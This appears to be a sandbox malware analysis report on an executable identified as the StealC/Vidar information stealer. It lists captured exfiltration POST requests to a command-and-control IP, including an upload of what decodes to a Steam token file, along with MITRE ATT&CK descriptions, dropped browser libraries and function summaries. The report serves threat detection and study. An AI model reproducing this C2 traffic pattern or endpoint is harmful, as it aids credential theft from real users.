Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file"------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAKFCGCGIEGDGCAAKKJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="message"ybncbhylepme------FCAKFCGCGIEGDGCAAKKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBFCGIIIJDBGCBGIDGI--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBGHJEBKJEGHJKECAAKJKEGIIE

C:\ProgramData\DGCBKECAKFBGCAKECGIE

C:\ProgramData\FBKKFBAEGDHJJJJKFBKFHCAFCB

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

C:\ProgramData\HIDHIEGIIIECAKEBFBAA

C:\ProgramData\HJJKJJDH

C:\ProgramData\IECFBKFHCAEHJJKEGDGHCGDAEG

C:\ProgramData\JJKJDAEB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 01009860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00FF45C0 Relevance: 54.4, APIs: 1, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 01004910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 01009C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00FF7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 01000250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00FF5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre